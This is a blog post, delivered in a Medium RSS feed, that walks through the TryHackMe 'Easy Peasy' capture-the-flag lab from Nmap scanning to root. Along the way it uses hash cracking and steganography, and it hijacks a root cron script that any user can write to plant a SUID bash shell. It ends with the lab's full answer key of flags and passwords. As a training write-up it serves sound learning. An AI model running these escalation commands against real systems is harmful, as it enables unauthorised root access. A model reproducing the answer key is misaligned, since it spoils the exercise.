<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rishabhvlokhande on Medium]]></title>
        <description><![CDATA[Stories by Rishabhvlokhande on Medium]]></description>
        <link>https://medium.com/@rishabhvlokhande1?source=rss-7a2a86b6530d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*-FgGVNXrgoMe6746</url>
            <title>Stories by Rishabhvlokhande on Medium</title>
            <link>https://medium.com/@rishabhvlokhande1?source=rss-7a2a86b6530d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 11:38:07 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rishabhvlokhande1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe Easy Peasy — How I Went from Nmap to Root]]></title>
            <link>https://medium.com/@rishabhvlokhande1/tryhackme-easy-peasy-how-i-went-from-nmap-to-root-868ea40e3abe?source=rss-7a2a86b6530d------2</link>
            <guid isPermaLink="false">https://medium.com/p/868ea40e3abe</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Rishabhvlokhande]]></dc:creator>
            <pubDate>Fri, 14 Aug 2026 14:02:40 GMT</pubDate>
            <atom:updated>2026-08-14T14:02:40.851Z</atom:updated>
            <content:encoded><![CDATA[<p>A practical walkthrough of enumeration, hidden directories, encoding, hash cracking, steganography, SSH and Linux privilege escalation.</p><h3>1. Connect to the TryHackMe VPN</h3><p>Before touching the target, I connected Kali to the TryHackMe network:cd ~/Downloads<br>sudo openvpn ap-south-1-rishabhvlokhande1-regular.ovpn</p><p>I waited for OpenVPN to finish initialization.<br>Then I tested the target:</p><p>ping -c 4 10.48.176.108</p><p>The replies confirmed that the target was reachable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*EiswXZeG2CGfPEIw_4QdOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*b16cR_ailtVkHRR0VLfh0Q.png" /></figure><h3>2. Nmap: finding the attack surface</h3><p>I started with a full TCP scan because the room could have services on unusual ports.</p><p>nmap -p- 10.48.176.108</p><p>Then I ran version detection and default scripts against the discovered ports:</p><p>nmap -sC -sV -p 80,6498,65524 10.48.176.108</p><p>The result showed:</p><p>80/tcp open http nginx 1.16.1<br> 6498/tcp open ssh OpenSSH 7.6p1<br> 65524/tcp open http Apache httpd 2.4.43</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*cJNTebsUXCF5-vgvmCKBvw.png" /></figure><p><em>Nmap service/version detection.</em></p><p><strong>Question 1: How many ports are open?</strong></p><p><strong>Answer: </strong>3</p><p>How I found it: Nmap listed three ports with STATE = open: 80, 6498 and 65524.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*Mr6Vy4tW3OcvnOsD49bI3Q.png" /></figure><p><em>TryHackMe accepts 3.</em></p><p><strong>Question 2: What is the version of nginx?</strong></p><p><strong>Answer: </strong>1.16.1</p><p>How I found it: the service banner on port 80 says `nginx 1.16.1`.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*q0M_x9k9j1RGt0fSWGaeWw.png" /></figure><p><em>TryHackMe accepts 1.16.1.</em></p><p><strong>Question 3: What is running on the highest port?</strong></p><p><strong>Answer: </strong>Apache</p><p>How I found it: 65524 is the highest open port, and Nmap identifies its service as Apache httpd 2.4.43.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*9gcTxGkh2-MVirFfTMY85Q.png" /></figure><p><em>TryHackMe accepts Apache.</em></p><h3>3. Flag 1 — GoBuster and Base64</h3><p>I started enumerating the nginx web server with GoBuster:</p><p>gobuster dir -u <a href="http://10.48.176.108/">http://10.48.176.108/</a> -w /usr/share/wordlists/dirb/common.txt</p><p>GoBuster sends requests for words in the wordlist and reports paths that exist. It found `/hidden/`.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*xfVM77R2YjTg6fSnLUTUzA.png" /></figure><p><em>GoBuster discovers /hidden/.</em></p><p>I repeated the scan inside that directory:</p><p>gobuster dir -u <a href="http://10.48.176.108/hidden/">http://10.48.176.108/hidden/</a> -w /usr/share/wordlists/dirb/common.txt</p><p>This found `/hidden/whatever/`.</p><p><em>GoBuster discovers /hidden/whatever/.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*5ccOlxbda1AsyZoaDxbS_A.png" /></figure><p>I requested the page:</p><p>curl <a href="http://10.48.176.108/hidden/whatever/">http://10.48.176.108/hidden/whatever/</a></p><p>The page contained a suspicious Base64-looking string ending in `==`.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*MAYdesD7HT03qXjXc_TWnA.png" /></figure><p><em>The hidden page contains the encoded value.</em></p><p>echo ‘ZmxhZ3tmMXJzN19mbDRnfQ==’ | base64 -d</p><p>The output was `flag{f1rs7_fl4g}`.</p><p><strong>Question 4: Using GoBuster, find flag 1.</strong></p><p><strong>Answer: </strong>flag{f1rs7_fl4g}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*MQwdlCUyXXaE67iijo6aog.png" /></figure><p><em>Flag 1 accepted.</em></p><h3>4. Flag 2 — Apache on port 65524 and robots.txt</h3><p>Nmap showed a second web server on port 65524, so I enumerated it separately:</p><p>gobuster dir -u <a href="http://10.48.176.108:65524/">http://10.48.176.108:65524/</a> -w /usr/share/wordlists/dirb/common.txt</p><p>This time GoBuster found `robots.txt`.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*sRC3uc3wZQxqbtZH-V50Yw.png" /></figure><p><em>GoBuster discovers robots.txt on port 65524.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*KpfvNRW7Pyw_YZYj_s71xg.png" /></figure><p>I fetched it with curl:</p><p>curl <a href="http://10.48.176.108:65524/robots.txt">http://10.48.176.108:65524/robots.txt</a></p><p><em>robots.txt reveals the clue/value.</em></p><p>The 32-character hexadecimal value is an MD5-style hash. Using the room’s supplied information/wordlist leads to the second flag:</p><p>flag{1m_s3c0nd_fl4g}</p><p><strong>Question 5: Further enumerate the machine, what is flag 2?</strong></p><p><strong>Answer: </strong>flag{1m_s3c0nd_fl4g}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*uOIfGwjq52088s0jc3M_DA.png" /></figure><p><em>Flag 2 accepted.</em></p><h3>5. Flag 3 — inspect the HTML source</h3><p>Instead of doing another blind scan, I inspected the response from the Apache page and filtered it for the word `flag`:</p><p>curl -s <a href="http://10.48.176.108:65524/">http://10.48.176.108:65524/</a> | grep -i flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*naeQANzpCgTvmuVz57RZHg.png" /></figure><p><em>The command exposes Flag 3 in the page source.</em></p><p>The response contained:</p><p>flag{9fdafbd64c47471a8f54cd3fc64cd312}</p><p><strong>Question 6: Crack the hash with easypeasy.txt, What is flag 3?</strong></p><p><strong>Answer: </strong>flag{9fdafbd64c47471a8f54cd3fc64cd312}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*l_hYaNOOfn3OH7ebBIxwRg.png" /></figure><p><em>Flag 3 accepted.</em></p><h3>6. Hidden directory — Base62</h3><p>The same web content contained another encoded-looking value. The clue pointed to Base62:</p><p>ObsJmP173N2X6dOrAgEAL0Vu</p><p>After Base62 decoding, the result was:</p><p>/n0th1ng3ls3m4tt3r</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*tJKB4bvVbicsql2okZbKiA.png" /></figure><p><em>Base62 decoding reveals the hidden directory.</em></p><p><strong>Question 7: What is the hidden directory?</strong></p><p><strong>Answer: </strong>/n0th1ng3ls3m4tt3r</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*V0T2LGXAkumhnp45En0HgA.png" /></figure><p><em>The hidden directory answer is accepted.</em></p><h3>7. Hash cracking — why I switched from Hashcat to John</h3><p>Inside the hidden directory I found this 64-character hexadecimal hash:</p><p>940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81</p><p>I saved it as hash.txt and initially tried Hashcat. My Kali VM reported that no OpenCL/CUDA/HIP platform was available. Instead of configuring GPU support, I used John the Ripper with the GOST format:</p><p>echo ‘940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81’ &gt; hash.txt<br> john — format=gost hash.txt — wordlist=easypeasy_1596838725703.txt<br> john — show — format=gost hash.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*M9CnvDImAmL7RzF_yRKHHw.png" /></figure><p><em>John successfully cracks the hash.</em></p><p>John returned the password:</p><p>mypasswordforthatjob</p><p><strong>Question 8: Using the wordlist provided in this task, crack the hash. What is the password?</strong></p><p><strong>Answer: </strong>mypasswordforthatjob</p><h3>8. Steghide — recovering the SSH password</h3><p>The hidden page referenced an image named `binarycodepixabay.jpg`. I downloaded it:</p><p>wget <a href="http://10.48.176.108:65524/n0th1ng3ls3m4tt3r/binarycodepixabay.jpg">http://10.48.176.108:65524/n0th1ng3ls3m4tt3r/binarycodepixabay.jpg</a></p><p>I then extracted the embedded file:</p><p>steghide extract -sf binarycodepixabay.jpg</p><p>When Steghide requested the passphrase, I used the password from Question 8:</p><p>mypasswordforthatjob</p><p>The extracted file was `secrettext.txt`. It contained the username `boring` and a binary-encoded password. Converting the 8-bit binary groups to ASCII gave:</p><p>icovertedmypasswordtobinary</p><p><strong>Question 9: What is the password to login to the machine via SSH?</strong></p><p><strong>Answer: </strong>iconvertedmypasswordtobinary</p><h3>9. SSH and the user flag</h3><p>ssh -p 6498 boring@10.48.176.108</p><p>The username came from secrettext.txt and port 6498 came from the original Nmap scan.</p><p>After logging in, I checked the account and read user.txt:</p><p>whoami<br> ls -la<br> cat user.txt</p><p>The file showed a rotated-looking flag:</p><p>synt{a0jvgf33zfa0ez4y}</p><p>The clue says it is rotated, so I tried ROT13:</p><p>echo ‘synt{a0jvgf33zfa0ez4y}’ | tr ‘A-Za-z’ ‘N-ZA-Mn-za-m’</p><p>That produced:</p><p>flag{n0wits33msn0rm4l}</p><p><strong>Question 10: What is the user flag?</strong></p><p><strong>Answer: </strong>flag{n0wits33msn0rm4l}</p><h3>10. Root — finding the writable cron job</h3><p>I first checked sudo:</p><p>sudo -l</p><p>The boring user was not allowed to run sudo. I therefore checked system cron:</p><p>cat /etc/crontab</p><p>The important entry was:</p><p>* * * * * root cd /var/www/ &amp;&amp; sudo bash .mysecretcronjob.sh</p><p>The next question was: can my user modify the script that root executes? I checked:</p><p>ls -la /var/www/<br> ls -l /var/www/.mysecretcronjob.sh<br> cat /var/www/.mysecretcronjob.sh</p><p>The script was writable by `boring`. I confirmed the cron job was really executing changes with a harmless test:</p><p>echo ‘date &gt; /tmp/cron-test’ &gt; /var/www/.mysecretcronjob.sh<br> cat /tmp/cron-test</p><p>Once `/tmp/cron-test` appeared, the privilege-escalation path was confirmed. In the TryHackMe lab I then used:</p><p>echo ‘cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash’ &gt; /var/www/.mysecretcronjob.sh</p><p>After cron ran:</p><p>ls -l /tmp/rootbash</p><p>The `s` in the permissions showed that the SUID bit was set. I started the shell with preserved privileges:</p><p>/tmp/rootbash -p<br> whoami</p><p>The output was `root`. I could then read the root flag:</p><p>cat /root/root.txt 2&gt;/dev/null || cat /root/.root.txt</p><p><strong>Question 11: What is the root flag?</strong></p><p><strong>Answer: </strong>flag{63a9f0ea7bb98050796b649e85481845}</p><h3>11. Final answer sheet</h3><p><strong>Question</strong></p><p><strong>Answer</strong></p><p><strong>1. Open ports</strong></p><p>3</p><p><strong>2. nginx version</strong></p><p>1.16.1</p><p><strong>3. Highest port</strong></p><p>Apache</p><p><strong>4. Flag 1</strong></p><p>flag{f1rs7_fl4g}</p><p><strong>5. Flag 2</strong></p><p>flag{1m_s3c0nd_fl4g}</p><p><strong>6. Flag 3</strong></p><p>flag{9fdafbd64c47471a8f54cd3fc64cd312}</p><p><strong>7. Hidden directory</strong></p><p>/n0th1ng3ls3m4tt3r</p><p><strong>8. Hash password</strong></p><p>mypasswordforthatjob</p><p><strong>9. SSH password</strong></p><p>iconvertedmypasswordtobinary</p><p><strong>10. User flag</strong></p><p>flag{n0wits33msn0rm4l}</p><p><strong>11. Root flag</strong></p><p>flag{63a9f0ea7bb98050796b649e85481845}</p><h3>12. The whole attack path</h3><p>Nmap<br> ↓<br> 3 open ports<br> ↓<br> GoBuster on port 80<br> ↓<br> /hidden/whatever/<br> ↓<br> Base64 → Flag 1<br> ↓<br> Apache on 65524<br> ↓<br> robots.txt → Flag 2<br> ↓<br> HTML/source → Flag 3 + Base62 clue<br> ↓<br> /n0th1ng3ls3m4tt3r<br> ↓<br> GOST hash → mypasswordforthatjob<br> ↓<br> Steghide → binary password<br> ↓<br> iconvertedmypasswordtobinary<br> ↓<br> SSH as boring<br> ↓<br> ROT13 → user flag<br> ↓<br> Writable root cron script<br> ↓<br> SUID Bash<br> ↓<br> root flag</p><h3>13. What I learned</h3><p>· Nmap is the starting point: first find ports, then identify what is actually running on them.</p><p>· Unusual ports can host completely different web applications, so enumerate each web service separately.</p><p>· GoBuster is useful for discovering directories that are not linked from the main page.</p><p>· Page source and robots.txt can contain important clues without requiring a complicated exploit.</p><p>· Base64, Base62, binary and ROT13 are all worth recognizing in CTFs.</p><p>· When Hashcat cannot access a compute backend, another tool such as John can still solve the same lab problem.</p><p>· After getting a normal user shell, check sudo, cron jobs and file permissions before looking for complicated kernel exploits.</p><p>· A root cron job executing a script writable by an unprivileged user is a serious privilege-escalation mistake.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=868ea40e3abe" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>